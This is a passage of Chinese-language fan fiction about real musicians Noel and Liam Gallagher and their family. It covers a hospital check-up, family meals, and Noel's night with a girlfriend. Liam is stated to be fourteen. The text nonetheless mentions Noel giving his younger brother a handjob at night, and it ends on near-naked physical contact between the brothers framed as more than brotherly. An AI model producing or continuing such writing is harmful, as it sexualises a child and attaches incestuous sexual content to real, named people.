“他们可真是传奇人物。”一曲罢,佩吉吐出一口气。
“Yep, 他们是多么的伟大,所有人都认识他们,所有人都喜欢他们。”诺尔继续切换下一首。
在开车的一半途中,妈妈难得的与诺尔谈论许多有关摇滚名人的事迹,突然,佩吉话停了下来,表情有些犹豫。
“诺尔,你是同性恋吗?你喜欢男生吗?”
8. 诺尔是gay?绝不是。
“Fucking hell! 我不是GAY, 我不喜欢男生!”诺尔不理解的对着驾驶座的妈妈控诉,他的妈妈为什么会这么想。
“妈妈,我的天,你为什么会这么想,我是直的。”
佩吉的表情很估疑,也很不理解自己为什么会问这样问题。
“你这几年都没有和女孩在一起过,还天天把自已锁在房间里摆弄你的吉他,这听起来就很不正常!你向我说实话,你是gay也没关系,我的孩子。”
“MOM, 我不是gay,我再次重申,我喜欢女孩。”诺尔赶忙从衬衫的口袋中掏出一张纸条。
“这上面写着一个女孩的联系方式,她对我感兴趣。”诺尔将纸条展开,给妈妈看纸条上的内容。
“天哪,这竟然是真的,我都已经接受你是gay也没关系了,你是喜欢女孩的,这也很好。”佩吉向他的孩子投以鼓励的眼神,“诺尔,我的孩子,你应该打电话给这个女孩。”
“嘿,妈妈,我还没有决定是不是要这样做。”诺尔叹了口气,将纸条叠好重新塞到口袋。
“你在胆怯吗?”
“是的,我从来没有和女孩开始一段真正的关系,有些担忧。”
“如果你对她感兴趣,你应该试试,你是个很棒的孩子,我相信她也是。”佩吉很暖心的建议诺尔。
“谢谢,妈妈,我会的。”诺尔将刚才按停的歌重新播放,和妈妈一起安静的听歌行驶。
在车里安谧的气氛下,诺尔忍不住开口。
“妈妈,我真的不相信你说我是gay,这真的很奇怪。如果我喜欢男孩,我就不会和Rkid睡在一起了,这太奇怪了。”
“我也不知道为什么这样想,就是一种感觉。”
说完,车里的母子蓦然笑了起来,明显也对这种“gay的感觉”而感到滑稽和好笑。
“好了,快到了。”路边的标识已经可以看到切斯特医院了。
佩吉将车停好,带着诺尔来到大厅前台。
“我预约了罗斯医生复诊。”
“OK,稍等,我查看一下。”护士站在厚重的电脑后面,扬起微笑,“是佩吉·汉纳姆女士吗?罗斯医生在看诊,请到202科室等候。”
“好的,谢谢。”
周日的医院人格外多,好多人在急诊科排队,诺尔躲避着大厅奔跑的熊孩子们,和妈妈一起上了电梯来到二楼的202科室,很好找,就在电梯口的左手第二个房间。
诺尔坐在医院的折叠床上,佩吉坐在另外的凳子上,双方在安静的房间里扯着无聊的话题。
“Hello,佩吉女士。”一口伦敦腔的声音响起。
“Oh, 罗斯医生,你来了。”佩吉起身。
“Hi,诺尔,你还好吗?”罗斯医生从口袋中掏出一个小型手电筒,照向诺尔的瞳孔,照完后,问,“昨天晚上没睡好吗?是因为药的问题吗?”
诺尔笑一声,抿着嘴,“不,当然不是,昨天很晚才睡。”
诺尔当然在说谎,如果你也像诺尔一样半夜被弄醒是为了帮弟弟进行手活,你也绝不会睡得好!帮兄弟进行这事儿心理压力可大了,当然,这破事儿诺尔不好当众说出来,只能憋在心中,他不傻,这件事儿听起来就很奇怪,就算他和Rkid是亲兄弟。
“好的,我查看一下你脑后的伤口。”罗斯将诺尔的脑袋转过来,“恢复得不错,不用担心。”
面对佩吉的担忧眼神,罗斯这样说。
“那就好。”佩吉站在床边将心收回到身体里。
“诺尔,有什么感觉吗?痛吗?”
罗斯捏着诺尔骨折的右手指尖来回拨动。
“有些刺痛。”诺尔皱着眉头。
“这石膏还要继续打一个月。”罗斯话头一转,“诺尔,请躺下,好吗?”
“OK。”诺尔乖乖躺在医生已经放平的小床上。
罗斯将手掌放在诺尔的肋骨上,在中间部位戳了一下。
“Stop, 很痛。”诺尔痛得弓起身大喊。
“这怎么样?”
佩吉担忧的声音传来。
“肋骨断裂恢复期比较长,这样的疼痛属于正常范围内,我会多开一点儿止痛药药片。”
“这都一个多月了……还需要多久才能好。”佩吉拿着纸巾擦着诺尔脑门冒出的汗。
“这是需要看个人的体质,有些人半年就恢复得差不多了,有些人甚至得一年,不要急,给骨头慢慢长。”
“好的,谢谢医生。”
罗斯医生在纸上写着什么,递给佩吉。
“你的孩子还在恢复期,不要让他运动,不要让他提重物,尽可能在家休养。这是止痛药的拿取,切忌不要多吃,防止药物上瘾。”
佩吉接过药单,再次感谢,“我会注意的,谢谢罗斯医生。”
看着医生从门口消失,诺尔才有些笑容,向着妈妈耸肩,“那我就没办法了,真糟糕。”
“你有搬重物吗?”佩吉不放心的问。
“呃……昨天晚上抱着利亚姆去浴室洗了澡……”诺尔有些心虚开口。
“我的天,下次不要这样做了,你太溺爱威廉了。”佩吉撑着诺尔下床,叮嘱,“你们能和平相处一段时间么,你的脸上全是伤口,威廉那个小子!一点儿都不尊重他的哥哥。”
“这就是Rkid。”诺尔不在意随口一说。
他跟在妈妈身后去药房按剂量买了药,就回家了。
到了家,诺尔原本还有活力的眼神已经黯淡,面色有些苍白,露出疲惫。
佩吉已经把车停在家门口了,让还在愣神中的诺尔下车。
诺尔刚下车,就看到Rkid窝着身子坐在门口和他的朋友们玩着卡牌游戏,他的朋友们诺尔只认识一个James, 奥特夫人的孩子。
James抬起头向诺尔打招呼,“Hei,mate,nice to see you. ”
“Me too. ”诺尔向Rkid的朋友打招呼,就踏入房间。
利亚姆贼兮兮的跟在诺尔的身后,不知道想搞什么,但是现在的诺尔可不想和他一起胡闹,一想到他的伤需要半年才能好,他的心情糟透了。
Rkid从后面搂着他的腰,紧紧抱着诺尔跟着诺尔走。
“Rkid,你怎么不理我。”利亚姆声音听起来很伤心。
“Liam,这与你没关系,你去和你的朋友们玩儿吧。”
诺尔走到卧室坐在床边躺下,利亚姆依旧抱着他,期间顺着他的动作松了手,将脑袋放在诺尔的腿上,Rkid是个小狗,他无时无刻不在粘着家人。
“我看到妈妈手里拎的一大袋药了,你还好吗,Rkid?”
“别担心,你去找你的朋友们吧。”诺尔翻个身,将腿上毛茸茸的脑袋掀开。
“Noel, 别敷衍我,我爱你,我想知道你的情况。”利亚姆砰的一声跳上床面对面与诺尔躺着,使得诺尔避无可避。
“这真的没什么,我需要休息
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,昨天你闹了我一夜。”诺尔闭上眼睛,他不擅长将他的脆弱表现出来。
“好吧,你是爱我的对吧?这是不需要证明的。需要我陪你么?”
利亚姆的脸靠得诺尔更近了,近得能感到他吹在诺尔脸上的呼吸,下一秒,一个毛茸茸的脑袋就扑在诺尔的肩膀上。
“Liam ,你别闹我……”
诺尔的声音带着迷糊,吃了药的身体总是容易陷入睡眠,他的低睡眠质量都消失了,连Rkid窝在他怀里的温度都感知不到了。
瞧着哥哥疲惫的睡容,利亚姆轻轻的从床上爬起来,踮着脚走出卧室。
“你的哥哥睡了嘛?”佩吉立在桌子旁边的柜子前,把诺尔的药片整齐的摆放在里面。
“Rkid睡了,我没有闹他。”利亚姆张开双臂证明自己的清白。
“嘿,我的孩子,我知道。”佩吉走过去一把将利亚姆揽在怀里,亲吻他的头发。
“我的孩子,你也不好受吧,看到你的哥哥那么难受痛苦。”
“是的,妈妈。”利亚姆埋在妈妈怀里的声音听起来是那么的难受,“虽然有时候我们会打架,但我还是爱我的哥哥的。”
利亚姆抬起头,漂亮蓝色的眼睛里泛着泪花。
“好了,威廉,擦干你的眼泪,你的哥哥需要我们,我们会陪他的。现在,不要晾下你的朋友们,快去陪他们吧。”佩吉心疼的摸着利亚姆的脑袋,虽然利亚姆还小,但他其实什么都懂。
“好的。”利亚姆抬起头,甩起袖子抹了把眼泪,又重新挂起笑容走向他的朋友们。
佩吉带着欣慰的笑,她有世界最可爱的三个孩子,就算再苦再累,佩吉也认为这是值得的。她窝着双手祷告,谢谢上帝赐福于她,保佑三个孩子安好。
祈祷完后,佩吉终于有时间收拾她的房子了,将孩子们收集在一起的脏衣服扔进洗衣机,又拿着拖把脱了地,整理干净衣物等等,一切收拾完后,佩吉安心窝在沙发上看着她喜欢的电视节目,佩吉看的节目很drama,drama到孩子们都不一想和她一起看。
但就在这休暇时刻,利亚姆总是有办法打破。
“妈妈,我的朋友们可以留下来吃午饭吗?我们打算吃完饭踢足球。”利亚姆在门口喊着。
“威廉,小声点,别把你的哥哥吵醒。”佩吉转头提醒,又言,“你的朋友们当然可以留下来吃饭,我很欢迎。”
“谢谢你,佩吉女士。”以James为首的威廉朋友们回以感谢。
好了,威廉这小子又给她找事儿做了,不过佩吉不讨厌这样的情况发生,她喜欢与年轻人相处。
佩吉起身,准备食材,开始做孩子们的午餐,电视还在开着,收拾食材的佩吉仍然可以看到。
马上就到饭点了,佩吉的午餐也做好了,有着少量的新鲜蔬菜,几根火腿肠和肉肠,几块鸡肉,还有早上剩下来的土豆泥,饭上浇着佩吉自己做的肉酱,看起来很美味,事实上也是这样。
“很好吃。”威廉的朋友这样评价。
“你们是威廉的朋友,别客气,放心吃,盘子里还有很多,可以自己动手。”
“谢谢。”
威廉的朋友们还算礼貌,最起码是他们这样表现得。
当吃了一会儿,这些孩子们就开始满嘴说着胡话了,带着许多曼城脏话,佩吉没有制止,因为她也会在孩子们面前说。
“嘿,利亚姆,你的妈妈为什么要叫你威廉?”James举起叉子摇晃,希望获得利亚姆的答案。
9. 他总会偏袒利亚姆
利亚姆听到这个问题张大嘴巴夸张笑了起来,“James,你还是我的朋友吗?你竟然不知道我叫什么?”
佩吉出声让她的孩子安静,回答,“William John Paul Gallagher,是这孩子的名字,但是威廉不喜欢别人这样叫他。”
利亚姆向着朋友们点头,“是的,威廉只能妈妈这样叫我,如果是你们这么叫我,我会打爆你们的脑袋,我只喜欢别人喊我利亚姆。”
对着利亚姆正在比划的拳头,James做出投降的样子,“好了,别打我,利亚姆。”
之后的时间里,孩子们满嘴跑火车讲着趣事儿,当饭吃完了,他们口中的女孩学校香烟这些事儿也传不到佩吉的耳朵里了,年轻人带着足球去路边的小型草坪上踢足球去了。
佩吉看着远去的孩子们,脸上带着笑容,她轻轻叹了口气,开始收拾起餐桌。
午后的阳光洒在院子里,草坪上的孩子们奔跑着、呼喊着,足球在他们脚下欢快地滚动。利亚姆在球场上格外活跃,他的笑声和叫声远远地传过来,仿佛有着无尽的活力。利亚姆的脸上洋溢着满足的笑容,他的眼睛亮晶晶的,尽管衣服已经被汗水湿透。
“妈妈,今天可太好玩了!”利亚姆扑到佩吉身边说道,他的猴劲并没有随着他的玩耍而离开。
佩吉宠溺地摸了摸他的头,“快去洗个澡,你的身上闻起来很臭。”
利亚姆的朋友们随着落日余晖一般散去,利亚姆窝在佩吉的旁边,难得安静的与她一起欣赏落日,此时,夕阳的余晖洒在他们身上,仿佛为他们的故事增添了一抹别样的色彩,而未来,又有着无数的可能在等待着他们。
过了一会儿,佩吉拉着利亚姆的手进了房子,又要开始做起晚餐了,天已经黑了,诺尔依旧没有一丝动静,他可真能睡,不知道昨天晚上他在忙活什么。
但佩吉的大儿子,利亚姆的大哥保罗回来了,为有些无趣的房子添加了乐趣。
“保罗,你去哪儿玩了?”利亚姆从浴室出来,只套了条短裤,从浴室门口蹦跶到保罗的身边。
“嘿,利亚姆,你绝对想不到,我们去了游乐园。”保罗坐在沙发上对着利亚姆戏笑。
“哦,是和那位艾米丽,你的女孩吗?”利亚姆的表情逐渐变得抓狂,使得保罗脸上的笑容更加扩大。
“对的,当然,要不然还有谁?”
“我也想去,你们为什么不带我去?”利亚姆趴在沙发靠背上,抓着保罗的头发控诉。
“No,我不喜欢带上你,带你出去玩儿还不如让我去上吊。”
“Mom, 保罗不带我去玩儿!”利亚姆突然朝着厨房的方向喊。
“Shit, 你就知道找靠山,利亚姆。”保罗的表情有些不妙。
下一秒,“Paul, 不要欺负你的弟弟,下次必须带他一起去。”妈妈很显然在偏袒他年幼的弟弟,保罗没有办法,只能答应了。
“好的,妈妈。”
保罗刚落下话尾,就看到窝在沙发靠背上利亚姆朝着他做出鬼脸,表情很得意。
“Fuck, 你知道带你出去有多烦吗,我还不如带女孩和我一起,因为你总是吵着让我给你买吃的,我出去花的钱在你身上比约会还多,你个可恨的小混蛋。”
保罗拎着利亚姆的衣领给他拽过来,在他屁股上狠狠打了一下。
“Mom! 保罗在打我。”
手底下的利亚姆在向着他们的妈妈大喊着。
在家人不知道的时候,房间里的诺尔已经醒了,他能清晰的听到外面的声音,兄弟们打闹戏笑声由于很差的隔音都传入诺尔的耳朵里。他没有走出房间的原因很简单,相比较吵闹,他更喜欢安静。
诺尔的面容一半隐藏在了黑暗当中,嗨涩不清的神情,显得他有着独特的魅力,冷静的神情让他更有侵略感。此刻他懒懒地依在床头边上,嘴上叨了一根烟却没抽,微眯着眼睛望着微黄的墙壁。
他将手摸入口袋,露易丝写给他的纸条还在里面。诺尔将纸条拿出来,将它搓成球形抛入垃圾桶。
“抱歉了,美好的女孩,我还没有准备开始一段感情。”他也很迷茫,在他的心里他觉得感情不是必需品,不是说他不想和女孩怎么样,他只是感觉不需要。他矛盾迷茫的内心促使他待在原地,他既想要女孩的陪伴,又不想踏出和女孩的那一步。此刻他的心里话如果被妈妈知道了肯定免不了一顿啰嗦,又会说出惊天骇俗的“你是gay”的理论。
门外的妈妈在大声呵斥着什么,大哥在笑着什么,他的弟弟在骂着什么,一切都是那么的鲜活。
醒了不久的诺尔,他的肚子在发出抗议,好比石头敲门的声音,大的不得不留意。
“好了,我应该出去吃个晚饭,毕竟我今天只吃了一顿早餐。”
诺尔将嘴里叼的烟拿下塞入胸前的口袋,烟嘴已经被咬得湿漉漉一片,诺尔毫不在意,谁会嫌弃自已的口水?Nobody.
诺尔这般想着,穿着鞋走了出去。
诺尔走出房间,看到客厅里正闹成一团的利亚姆和保罗,以及在一旁无奈摇头的妈妈佩吉。
利亚姆那小子一眼就看到了诺尔,立刻从保罗的“魔爪”下挣脱出来,蹦到诺尔面前。
“诺尔,你醒了。保罗这个坏蛋,他不带我去游乐园,他还打我!”利亚姆告状道,长大的嘴巴使得Rkid很有滑稽感。
诺尔轻轻揉了揉利亚姆的头发,“好了,别闹了。”然后看向保罗。
保罗耸耸肩,“我可没欺负他,是他自己太缠人了。”
佩吉笑着说:“你们都别吵了,诺尔,你饿了吧?快来吃饭了。”
餐桌上摆着简单且美味的食物,香味弥漫在整个房间,妈妈的手艺从来没有让诺尔失望过。
他们一家人围在桌边,利亚姆一边大口吃着,一边还不忘讲述着今天和朋友们踢球的趣事,手舞足蹈的样子引得大家不时发笑。利亚姆总是家里最受欢迎的存在,也是常常引诺尔大笑的独特存在。
诺尔静静地吃着,偶尔回应一两句。他的目光在家人身上流转,尽管有时候会觉得吵闹,但这样的家庭氛围却让他感到安心。
晚饭后,佩吉在厨房忙碌着收拾碗筷,利亚姆又缠着保罗要他讲游乐园的经历,保罗被缠得没办法,只好开始绘声绘色地描述起来。诺尔则走到门口,坐在地上,抬头望
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着夜空,黑幕上没有一点儿星星的存在。
他的思绪又飘回到露易丝身上,那个善良可爱的女孩。他不知道自己拒绝她是不是正确的选择,也许以后会后悔,但此刻他真的不想打破内心的平静。
“诺尔,你在想什么呢?”利亚姆不知何时来到他身边,也学着他的样子抬头望着夜空。
“我说在想你,你相信吗?”诺尔垂眸,从口袋中掏出烟点上。
“你想和我聊聊吗?”
利亚姆就像女孩一样,靠在他的肩头。
“不,我不想,你还是个小屁孩,我能和你聊什么?”
“我已经十四岁了,我们可以聊聊足球,聊聊女孩?”
“闭嘴。”
诺尔有些不开心的出声,Rkid会知道他在想什么吗?不,只有他一个人知道。诺尔心中的迷茫似乎只有他一个人知道。但他知道,无论未来如何,家人永远是他最坚实的依靠。
“抱歉,刚才话有些重了。”诺尔搂住男孩的肩膀,低声说着,声音透着温柔。
“没事,我们是兄弟,我不会因此打你。”利亚姆就好像什么都不知道一般,抬眸盯着诺尔。
我们两互相望着彼此,只有双方才能够了解的默契在蔓延,两人相同的蓝色瞳孔好比在说着,我们之间容不下任何人。
当然,这只是诺尔此时的心中所想,整个家人与诺尔最亲密的就是面前这个小子,诺尔当然很爱他,爱可以表达任何事儿,他爱他的弟弟。
“诺尔,带你的弟弟进来,外面不冷吗?”佩吉从浴室门后走出来,浑身带着湿意来到二人身后。
“好的,妈妈。”诺尔和Rkid几乎同时说出。
诺尔先起身,扔掉手中的香烟,利亚姆替他捻灭烟蒂,跟着他进了房间。
“利亚姆,要和我一起看脱口秀吗?”保罗躺在沙发上,嘴里也含了一根烟。
“OK,不过我要看《You And Me 》。”这个节目是英国很火的儿童节目,利亚姆超级喜欢,常常能逗得利亚姆大笑。
“Well, 真拿你没办法,好吧。”保罗抓着遥控器调节频道,依了利亚姆。
“那我进房间休息了,妈妈。”诺尔虽然也喜欢这个节目,但他现在真没有心情看电视。
“去吧,我的孩子。”佩吉吹着头发提高了她的音量。
诺尔回到房间,轻轻关上房门,屋内的静谧与门外的喧闹瞬间被分隔开来。他的视线在这熟悉的空间里游移,最后落在了立在床边的吉他上,它就那样静静伫立,似在无声地等着诺尔。
他缓缓踱步过去,伸手握住吉他的琴颈,轻轻一提,将其揽入怀中。另一只手拂过琴弦,带出几声略显寂寥的颤音。
诺尔坐在床边,微微调整了下坐姿,手指开始在琴弦上灵动地跳跃,音符便如灵动的精灵般在这无窗的房间里翩跹起舞。
起初,弹奏的旋律稍显生涩,渐渐地,旋律愈发流畅。
他跟着韵律唱着自已的歌,歌声比较平缓,在没有窗户的房间里,空气仿佛都因他的歌声而微微震颤,他享受这样自已营造的音乐氛围。他想,他不会放弃音乐,他愿意一直待在音乐领域直到老死。
10. 再遇露易丝1
在那无窗的房间中,诺尔以吉他和歌声为伴,默默承受着肋骨断裂的伤痛。
起初,哪怕只是轻微的呼吸调整,断裂的肋骨处都会传来尖锐的疼痛,令他冷汗直冒。但诺尔是个很坚强的人,他在规定时间内去医院复诊,每天吃着令人心情低落的药片。从开始只能小心翼翼地在床上缓慢翻身,到后来可以尝试着大幅度动作,再到可以进行足球运动。
他那如刀割般的疼痛在慢慢减轻,呼吸也不再那般受限,身体的活动范围也是逐步扩大,这些变化令他很开心。毕竟三个月过去了,当然,他明白,肋骨的伤痛已基本痊愈,自己已经不能继续窝在家里,他需要做好准备,再度踏入生活之中。
他又重回到之前工作的地方,工厂的管理层给他分配到仓库里,每天只需要清点和看管货物,这对诺尔来说很不错,在工作空闲时可以写歌,也不会对他的肋骨造成二次伤害。
哦,忘记说了,诺尔的家庭成员又多了一位,是只可爱的小猫,他被利亚姆带回家,应该是他路边捡来的,长着像狸花猫一样的毛发,混杂着白色和黄色的斑块,看起来漂亮极了,诺尔又是为爱猫人士,很难不喜欢这位新的家庭成员。
这天,下了班,诺尔在一家曼切斯特小有名气的俱乐部喝酒。
此时的他靠在吧台的椅子上抽着一根烟,眯着眼瞧着舞台上的吉他手演唱。
这歌手一点儿也不摇滚,不是诺尔的歌曲口味,看了一会儿后就没了兴趣,将视线收回落在了巨大的玻璃窗上。
靠着窗坐着的是一位金发女郎,一个人,身材很好,只是……诺尔好像认识她。
女孩灵敏的察觉到他的视线,朝他望过来。
“露易丝?”我的天,怎么这么巧,诺尔内心一点儿也不平静,他可是把露易丝给的联系方式扔进了垃圾桶,该怎么解释他那么久不给女孩打电话,诺尔内心很后悔。
露易丝走了过来,她的金发还是那么的耀眼,穿着米棕色的大衣,配色黑色的高领内衬,她很漂亮,诺尔又被她所吸引。
“Hei, 诺尔,还记得我嘛?”
女孩抚摸着头发坐在他的旁边,诺尔僵住了身子,有些紧张。
“嘿,好久不见,露易丝·琼斯。”诺尔抬头看着酒单,为她点了杯莫吉托酒。
“这杯酒很不错,我请你喝,尝下?”
诺尔将抵着高脚杯的底部推向露易丝。
“你看起来很不一样。”露易丝抿了一口酒,扬起嘴角。
“What?哪里不一样?”
“嗯……更有魅力了,你的头发变长了。”
“哦,谢谢,我也觉得我长发更好看一点。”诺尔笑了起来。
“Sorry,之前没有联系,我……”诺尔犹豫一下,还是开口了,不过话还没有说完,就被一只涂着口红的嘴巴堵住了。
“现在不需要说话,吻我。”露易丝张嘴小声说着,双手搭在诺尔的脖子上。
诺尔楞了几秒,反应过来后立刻将手扶在女孩的脑袋后面,让自已的嘴与女孩柔软的嘴贴得更加紧密,诺尔伸出舌头与对方来了个亲密交触。
一吻后,露易丝喘着气撑在诺尔的胸前,半张着诱人的红唇,“诺尔,你是一位很棒的接吻者。”
“我知道。”诺尔眼睛直直盯着女孩,好像她下一秒就会消失不见一样。
“你想和我一起过夜吗?我一个人住,就在附近。”露易丝挑开她大衣的内衬,里面的风光一览无余,女孩的语气断断续续,带着一股子勾人。
“Well, 当然。”
诺尔有些急切的买单,拉着女孩走出来俱乐部。天已经黑透了,夜色透着的旖旎就像是诺尔的心情。
露易丝租房的地方很近,走了五分钟左右就到了。
刚打开租房的门,露易丝就把诺尔推在门上亲吻诺尔的耳廓,她的声音有些沙哑,听起来很不平静,“诺尔,我的男孩,把衣服脱掉。”
诺尔边脱衣服边往房间内走,拉着露易丝躺在床上。诺尔捧起露易丝的脸,目光温柔且炽热。他缓缓低头,双唇轻触露易丝的唇,初时如蝶翼轻拂,带着丝丝羞涩与试探。片刻后,诺尔的吻渐趋热烈,双手揽住露易丝的腰,将她拉近。露易丝亦热情回应,手臂环上诺尔脖颈,二人沉醉在这深情的吻里,世界仿佛只剩彼此。
从拥抱,亲吻,抚摸开始,再然后翻滚着身体,making love,陷入热潮的二人忘乎所以,在床上发生的事情是如此的顺其自然。
不知过了什么时候,这场□□持续时间是多么的长,长到陷入爱河的年轻情人不愿停止,让世间只有他们两人吧,让他们逃离一切,让他们永久的腻歪在一起吧,他们是多么合拍的爱人。
欢愉的□□终会了却,人的身体极限可不容突破,满身是汗的露易丝从诺尔的身上翻下来,摸着男孩的脸庞躺了下来,亲昵的依偎在男孩温暖的胸膛上,深情的望着她的男孩。“诺尔,你做的太棒了,我们是天生一对。”
“baby,我也这样觉得,我不相信我差点错过你。”诺尔再次亲吻女孩的耳廓,满含温情,“你觉得我们能继续下去吗?”诺尔对自己有些不自信,怕这段关系只是短暂性的,他需要女孩给他正式的答案。
“当然,我喜欢你,我们很合拍。”
“那……我们是男女朋友关系了?”
露易丝离开了诺尔的怀抱,披着一件衬衫来到饮水处,带着一杯水重新来到诺尔的身边。
“当然,我的男朋友,只要你不嫌弃我比你大些。”
诺尔听到这句话呆住了,接水的动作也停住了,“Girl, 我不认为你比我大,你看起来很性感。”
“我今年22岁。”露易丝鼻尖抵着诺尔的鼻尖,抵着温软的笑容。
“Oh, shit, 你竟然比我大二岁,我不能相信,你看起来就像十几岁的女孩。”
露易丝被诺尔逗得笑了起来,一只手搭在脑后,一只手摸着诺尔的脑袋。
“你可真有趣,诺尔。”
“谢谢你这么说,我并不觉得我有趣。”
“Why? ”
“从小到大,从来没有一个人说过我有趣,连我的家人也这样想。”诺尔摇晃着脑袋,浑身写着“我不在意”。
“OK,但你就是很有趣,我喜欢。”
“我知道。”诺尔不擅长表达自已的内心情意,也不擅长接受别人的赞美,有些脸红的低下脑袋。
下一秒,诺尔的脑袋就被一只手挑了起来,“嘿,别害羞,在我面前你可以做自已,好么?”
诺尔内心深处的屏障此刻就像是透明一样,轻而易举的被女孩看到。
“谢谢。”诺尔有些激烈的将女孩抱住,下巴搁在女孩荣润的发上。他们就这样在此时停住,互相安静的接纳对方,互相安静的相拥。
“诺尔,起来吧,我们去洗个澡,洗完澡后吃点食物,我现在要饿昏过去了。”
露易丝光裸着身体,将诺尔从
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床上拉起来,诺尔也是同样光裸着,他们共同进入浴室洗漱,在淋浴喷头下为对方洗头,为对方涂沐浴露,与对方在吹风机下嬉闹。
这几个小时期间诺尔是无比放松的,他没有将自已保护在自己塑造出来的形象下,他真的应该和露易丝多待在一起,这让他感觉很好。
露易丝穿戴好后,为诺尔准备了一份食物—薄煎饼,上面铺着坚果,看起来很不错。
“哇哦,这真让人不可思议,很美味。”诺尔吃了一口,惊叹,“露易丝小姐,你是大厨吗?”
“诺尔,这对我来说很正常,请把你掉在地上的下巴捡起来。”露易丝端着食物坐在他对面。
“这真的太好吃了,你应该去应聘糕点师。”虽然诺尔有些夸大了事情,但他就想以他的方式来夸赞女孩,他有些滑稽的蹲在地上,假装把自已地上并不存在的下巴捡起来。
“诺尔,你太可爱了。”
露易丝看着诺尔大笑,挪着板凳坐在诺尔旁边。
“It''s me. ”诺尔耸着肩应和。
身边的女孩与诺尔继续说着交谈着,他们谁也不知道他们想聊着什么,他们只是迫切的了解对方,不想让双方安静下来。
突然,诺尔想起了什么……
“遭了,我没有给家里人打电话,现在几点了?”诺尔放下叉子,寻找着房间内的座机。
“我可以借你的座机用一下吗?”
“当然,诺尔,现在晚上十一点。”露易丝抬起手腕上的手表,看着时钟向诺尔告知。
“Shit, 已经那么晚了。”诺尔的表情有些不妙,他两三步就来到座机前,拨打着家里的电话,内心祈祷着他的家人们没有等他电话。
“嘟——”电话被接通。
“Who? ”电话那边很安静,只传来利亚姆那小子的声音。Rkid的声音有些失真,有些捉摸不透,他没有听到诺尔的回答,又问了一下,“是诺尔吗?”
诺尔不知道刚才为什么没有说话,在听到自已的名字后无奈回答,“是我,Rkid,这么晚了,你还没有睡吗?”
电话那边在诺尔语音落下后立刻发怒,“Fuck of, your cunt,我特么在等你,但却等来你的电话。”
诺尔的喉咙瞬间噎住了,不知道还能说什么,那边Rkid的骂声还在继续。
“诺尔,你让我等了好久才等到你的电话,我特么恨你,你个狗屎。”
诺尔忍不住了,他必须说点什么止住弟弟狗屎一样的嘴巴。
“你给我闭嘴,我不属于你,我想去哪里就去哪里,闭上你的嘴巴,不要让我们都不开心。”
“我就是不开心,你是我的哥哥,你不属于我那你属于谁?你个大混蛋,你都不回家了,你抛弃我了。”
电话那边的利亚姆在崩溃边缘,害怕他亲爱的哥哥离开这个家,尤其是离开他,利亚姆忍受不了这种情况发生。
“Liam, 你再说一句话,我立刻收拾东西离开你,我说真的。”诺尔声音变得很严肃,吓住了电话那头的利亚姆,他都说不出话了,怕他再说什么,他的哥哥就会离开他。
“好了,Rkid,我就是在我的女朋友这里过一夜,明天我会回去,我没有抛弃我的家。”
电话那边好一会儿才出声,声音超级朦胧,“我真恨你,不,我也爱你,我不知道你还有女朋友……”
但可怜的利亚姆话还没有说完,就被诺尔无情的挂了电话。
11. 再遇露易丝2
背后传来椅子挪动的声音,露易丝来到诺尔的身后搂着他的腰。
“电话里的是谁?”
“是我弟弟。”诺尔话说一半,嘴角不露声色的浅笑,“我恨死他了。”
“不,应该是你爱死他了。”露易丝掰过诺尔的脸,轻吐。
“好吧,我对他又爱又恨。”他煞有介事地补了一句,“毕竟我们是兄弟。”
“你们兄弟关系应该不错。”露易丝在诺尔的唇上吻了一下。
“兄弟不都是这样吗?”
“我不知道,我没有兄弟,我妈妈只生了我一个女孩,我倒是希望有位兄弟。”
听此,诺尔几近无奈,放软了语调,“当你有了兄弟,你会觉得兄弟烦死了。”
说完,诺尔补充,用嘴型对着她无声地说,“我的弟弟是个恶魔,你不会想有他那样的兄弟的。”
“好吧,让我们跳过这个话题。”露易丝拽着他的衣领,带着他向床的方向走去。
在拉扯过程中,诺尔的嘴角勾起细微不易察觉的笑意,“你想……再来一次?”
“不,现在不想。”露易丝拉着衣服的手瞬间放下了,她跳上床,为电视插上一张碟片。
“我想要你陪我看张碟片,好么?”
“好吧,听你的。”诺尔钻到女孩身边,搂住她的肩膀。
在电影播放过程中,露易丝出声,她的声音很沙哑的性感,“今晚是我最棒的一天。”
诺尔的眼睛放在女孩的垂眸的睫毛上,轻轻吹了一下,“我也是。”
第二天,诺尔醒得很早,因为他要工作,不像露易丝有着自由支配的工作。哦,他的女友是名设计师,诺尔以她为豪。
他穿好衣服后向露易丝吻别,打车回了家,准备换身干净的衣服再去上班,时间挺充裕,可以吃顿妈妈做的早餐。
刚踏入家门,就看到妈妈在桌边做早餐。
“嘿,妈妈,我回来了。”
佩吉没有抬头,专心做着食物,“利亚姆说你在女孩那里过夜,我怎么不知道你有女朋友了。”
“呃……昨天刚认识。”诺尔脱下脏外套扔进浴室的脏衣篓,他提高着音量道。
“这很不错,但是一定要做好保护措施。”佩吉抬头叮嘱。
“我知道,妈妈,我已经是个成年人了。”诺尔避开妈妈戏谑的眼神,躲进他的小卧室。
卧室睡着的利亚姆一个人霸占了整张床,诺尔走进他,盯着Rkid的睡颜。
睡着的利亚姆很让人喜欢。当他睡着时,安静的就像一位天使,发着光环,很有蛊惑感。谁能想到醒来后的他就像一只疯狂的猴子呢?
突然,Rkid突然睁开来,吓了诺尔一跳,心脏差点暂停。
“Rkid,我就知道是你。”
这下,诺尔很疑惑了,“为什么你知道?”
利亚姆嘟起嘴对着他无声地说,“因为只有你会这样看着我。”
诺尔心陡然咯噔一下,“你知道了?”
“嗯。”利亚姆的声音很低,听起来很难过,“你昨天说你不属
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于我,你不爱我了?你马上就要离开我了,我知道。”
“哦……”看来这小子一点儿也不知道,诺尔的心放回肚子里。
“利亚姆,我们有着相同的姓氏,不管怎么样,我们都是兄弟。”男人放软了声音,将手伸向Rkid,“要起床吗?妈妈的早餐要做好了。”
利亚姆拉着诺尔的手从床上起来,眼睛目不转睛的盯着诺尔换衣服。
两兄弟从小就住在一起,连有时候洗澡都会一起,所以诺尔一点儿也不在意Rkid的视线,他脱光了衣服在屋里寻找自己干净的衣服。
利亚姆揉着眼睛坐在床边,他认真的表情就像是看一场脱衣舞表演。他突然站起来,来到诺尔身前抱住他,屋里的气氛变得焦灼。
利亚姆身上只穿了一件运动裤,而诺尔呢,他只穿了一件内裤,Rkid与他的下半身紧密贴在一块儿。
利亚姆没有说话,所以诺尔也没有出声。其实两人的内心都知道这动作对于“兄弟”来说太亲密了,这已经不属于兄弟接触的范围内了。但是,诺尔没有推开他的弟弟,他的内心有了答案。
“Noely,我们会永远在一起的,是吗?”
利亚姆的声音就像是穿透了诺尔的灵魂,给他会心一击,让他思考“兄弟关系”。
诺尔由他抱着,没有说话,因为他也不知道。
